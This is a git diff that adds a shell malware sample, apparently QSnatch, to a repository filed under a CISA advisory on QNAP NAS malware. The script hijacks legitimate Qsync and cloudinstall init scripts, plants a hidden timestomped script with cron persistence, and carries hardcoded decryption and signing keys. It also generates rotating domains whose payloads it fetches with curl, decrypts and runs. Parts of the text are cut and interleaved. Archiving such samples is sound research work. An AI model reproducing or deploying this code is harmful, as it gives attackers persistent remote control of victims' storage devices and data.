OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.config/backup_conf.sh" || chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 new file mode 100644 index 0000000..f9639f9 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/9526ccdeb9bf7cfd9b34d290bdb49ab6a6acefc17bff0e85d9ebb46cca8b9dc2 @@ -0,0 +1,926 @@ +#!/bin/sh +{ +ts=1558069200 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <".backup_${file}" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +domainexts='cf:0 tk:0 com:1 ml:0 de:0 rocks:0 mx:0 biz:0 net:1 cn:0 ga:0 gq:0 org:1 top:0 nl:0 men:0 ws:0 se:0 info:0 xyz:0 today:0 ru:0 ec:0 co:0 ee:0 rs:0 com.sv:0 com.cy:0 co.zw:0 kg:0 com.ge:0 tl:0 name:0 tw:0 lv:0 bs:0 li:0 ng:0 ae:0 bt:0 tv:0 pe:0 uz:0 me:0 gy:0 am:0 kr:0 by:0 fr:0 com.uy:0 com.lb:0 com.br:0 vu:0 hk:0 in:0 re:0 ch:0 af:0 com.ps:0 ug:0 dz:0 pro:0 co.th:0 sg:0 cd:0 so:0 mo:0 co.id:0 co.il:0 com.do:0 ke:0 cx:0 ro:0 id:0 pm:0 hm:0 vg:0 az:0 com.eg:0 bz:0 su:0 com.ar:0 gg:0 com.lr:0 pa:0 com.ve:0 al:0 fm:0 to:0 mu:0 co.ck:0 pk:0 co.rs:0 cw:0 nr:0 gd:0 gl:0 ac:0 lk:0 md:0 fi:0 sx:0 lc:0 es:0 cc:0 cm:0 la:0 co.za:0 je:0 cz:0 jp:0 ai:0 pw:0 bg:0 nu:0 ag:0 bm:0 eu:0 com.my:0 sc:0 ax:0 wf:0 ly:0 qa:0 vn:0 aq:0 mobi:0 com.tr:0 com.ua:0 com.py:0 hk.org:0 south.am:0 com.kh:0 co.zm:0 ru.net:0 com.km:0 tt:0 kn:0 co.ls:0 co.fk:0 uy.com:0 com.gu:0 .com.bn:0 com.pf:0 com.fj:0' +n=0 + +for ext in $domainexts; do + eval 'domainext'"$n"'=$ext' + n=$(( $n + 1 )) +done +domainextcnt=$n + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +XEOF +cat >>".backup_${file}" <>".backup_${file}" <<"XEOF" + +echo "$verifykey" > ".rsakey" + +for tmpfile in "./.tmp.XXXXXX" "${bdir}/.tmp.XXXXXX" "/.tmp.XXXXXX"; do + tmpfile=$(mktemp "./.tmp.XXXXXX") + test -f "$tmpfile" && outfile=$tmpfile && break +done +test -n "${outfile}" && test -f "${outfile}" || outfile='./.tmp.out' +curlconntimeout=12 +i=0 n=0 c=0 errorcount=0 +for interval in '1296000' '432000' '86400' '28800' '7200' '3600'; do + timestart=$(date +%s) + for length in 5 3 4; do + timenow=$(date +%s) + test "$(( $timenow - $timestart ))" -gt 600 && test "$interval" != "3600" && break + curlconntimeout=$(( $curlconntimeout - ( $timenow - $timestart ) / 250 )) + test "$curlconntimeout" -lt 6 && curlconntimeout=6 + n=0; while [ "$n" -lt $domainextcnt ]; do + eval 'ext=$domainext'"$n" + l=$(( $length + ${ext#*:} )) + ext=${ext%:*} + if [ $length = 5 ]; then + hostname=$(echo "$(( $(date +%s) / $interval ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%${hostname#??????}} + eval 'hostname'"$n"'=$hostname' + fi + eval 'host=$hostname'"$n" + n=$(( $n + 1 )) + trycnt=0 + while [ ${#host} -gt "$l" ] && [ $trycnt -lt 3 ]; do + trycnt=$(( $trycnt + 1 )) + host=${host%?} + done + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout "$curlconntimeout" -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + 